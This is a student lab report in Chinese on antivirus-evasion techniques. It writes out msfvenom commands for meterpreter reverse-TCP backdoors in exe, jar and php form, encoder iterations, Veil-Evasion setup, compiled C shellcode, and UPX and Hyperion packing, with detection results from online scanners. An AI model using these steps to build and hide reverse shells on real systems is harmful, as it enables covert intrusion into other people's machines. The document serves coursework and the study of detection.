2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 使用VirusTotalVirscan这两个网站对实验二生成的后门程序进行扫描。

  • 可以发现,在virustotal70种杀软中,有51种杀软能识别出该代码是恶意代码。
  • Virscan结果如下:



    可见不加任何处理的后门程序能够被大多数杀软检测到
  • 用msf编码器对后门程序进行一次到多次的编码,并进行检测。
  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > oncemsf.exe
  • 经过一次编码后的文件扫描结果如下

  • 十次编码使用命令:-i设置迭代次数

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > tenmsf.exe

  • 扫描结果如下:

  • 多次编码对免杀没有太大的效果。

2. msfvenom生成jar文件

  • 生成java后门程序使用命令:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> nxy_backdoor_java.jar

  • 扫描结果如下

3. msfvenom生成php文件

  • 生成PHP后门程序使用命令:

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> 20165317_backdoor.php

  • 扫描结果如下



    (php是世界上最好的语言!!!!!狗头.jpg)

4. 使用veil-evasion生成后门程序及检测

安装veil

  • 如果镜像是2018的话,在安装之前可以先执行下面的指令,可能会需要比较长的时间
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil命令安装Veil
  • 之后用veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间:
  • 因为网络连接问题和系统不兼容,所以出现了很多问题
  • 首先更新系统,在管理员模式下输入下列命令
apt-get update
apt-get upgrade
  • 然后再用veil打开veil,输入y继续安装直至完成。效果如下:

  • use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.1.102,注意此处的IP是KaliIP
  • 设置端口,命令为:set LPORT 5317

  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5317

  • 扫描结果如下,可见veil-evasion生成的后门程序效果仍不理想

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 -f c用c语言生成一段shellcode;

  • 创建一个文件20165317.c,然后将unsigned char buf[]赋值到其中
  • 使用命令:i686-w64-mingw32-g++ 20165317.c -o 20165317.exe编译这个.c文件为可执行文件;
  • 扫描结果如下

6.加壳

使用压缩壳(UPX)

  • 给之前的20165317.exe加个壳得到nxy_upx.exe:

  • 扫描结果如下:



    使用加密壳Hyperion
  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令wine hyperion.exe -v nxy_upx.exe nxy_upx_Hyperion.exe进行加壳
  • (这个地方从图形界面复制一直显示权限不够,怎么也加不上最后只好从命令行来了)
  • 扫描结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过使用半注入shellcode,压缩壳,保密壳生成后门程序,但很可惜,没有成功,腾讯虽然杀不出病毒但是也无法反弹连接,尝试失败。

回答问题

  • 杀软是如何检测出恶意代码的?

    最常用的方法是检测特征代码,恶意代码通常具有一些特定的,正常程序所不具备的代码,我们称之为特征代码,可以通过这段代码来证明这是恶意代码。不同杀软对特征代码的扫描应该是不同的。第二种方法是依据行为来推断,如果一段代码执行后对系统造成破坏或者窥探用户隐私,则很有可能是恶意代码。第三种方法是启发式检测,通过片面的特征来判断是否是恶意代码,但这种方式较为片面,不常用。
  • 免杀是做什么?

    使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测
  • 免杀的基本方法有哪些?

    免杀可以通过改变特征码和改变行为等方式来进行。改变特征码就是想方设法使得特征码不在我的恶意代码里出现,比如多次编码,或者加壳(不过是不是加壳了之后壳也成为了一种特征码了呢?);改变行为就是减少恶意代码攻击性行为出现的次数,比如说在一个几乎是正常运行没有恶意的超大型程序里植入一个很小的,不经常工作的后门。

感想与体会

本次实验并没有成功,而过程中也遇到了很多的问题,比如说对kali系统本身和Ubuntu的一些区别还是比较模糊不清,veil安装也出现了很大的问题。在解决问题的过程中感觉自己能更加熟练的使用搜索引擎和CSDN等辅助工具,这也是到目前为止,我在大学里最大的收获之一,解决问题的方法很重要。这次虽然大概了解了免杀的原理,但是对于其中一些深层次的东西还是一知半解,导致在做最后的组合性免杀的时候没有成功。另外在本次实验中,我也了解了各杀毒软件的能力和工作原理,还是收获颇丰。

2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  3. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  4. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  5. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  6. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. Dilated Convolution

    各种各样的卷积方式, 详细见 各种卷积的 gif 图 Convolution animations  Padding, strides Transposed convolution animatio ...

  2. django日志,django-crontab,django邮件模块

    django 日志 四大块,格式器,过滤器,处理器,日志管理器 LOGGING = { 'version': 1, 'disable_existing_loggers': True, 'formatt ...

  3. linux安装selenium+chrome+phantomjs

    1. 安装 selenium pip3 install selenium pip3 安装参考 2. 安装 ChromeDriver yum install chromedriver.x86_64 3. ...

  4. javaAPI实现elasticsearch5.5.2的聚合分析

    https://blog.csdn.net/plei_yue/article/details/78452633

  5. Taro覆盖iview样式

    /* CustomComp.js */ export default CustomComp extends Component { static options = { addGlobalClass: ...

  6. 在.NET开发中的单元测试工具之(2)——xUnit.Net

    在上一篇<在.NET开发中的单元测试工具之(1)——NUnit>中讲述了如何使用NUnit在.NET开发中进行单元测试以及NUnit的一些缺点,今天将讲述如何使用xUnit.Net来进行单 ...

  7. matplotlib坐标轴设置-【老鱼学matplotlib】

    我们可以对坐标轴进行设置,设置坐标轴的范围,设置坐标轴上的文字描述等. 基本用法 例如: import numpy as np import pandas as pd import matplotli ...

  8. PyCharm使用秘籍

    PyCharm的基本使用 在PyCharm下为你的Python项目配置Python解释器 Project:当前项目名>Project Interpreter>add Local 在PyCh ...

  9. UOJ#314. 【NOI2017】整数 其他

    原文链接https://www.cnblogs.com/zhouzhendong/p/UOJ314.html 题解 如果只加不减,那么瞎势能分析一波可以知道暴力模拟的复杂度是对的. 但是有减法怎么办? ...

  10. python 几个简单算法详解

    一.冒泡排序 基本思想:它的思路很有特点循环,两两向后比较.它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来.走访数列的工作是重复地进行直到没有再需要交换,也就是说该数 ...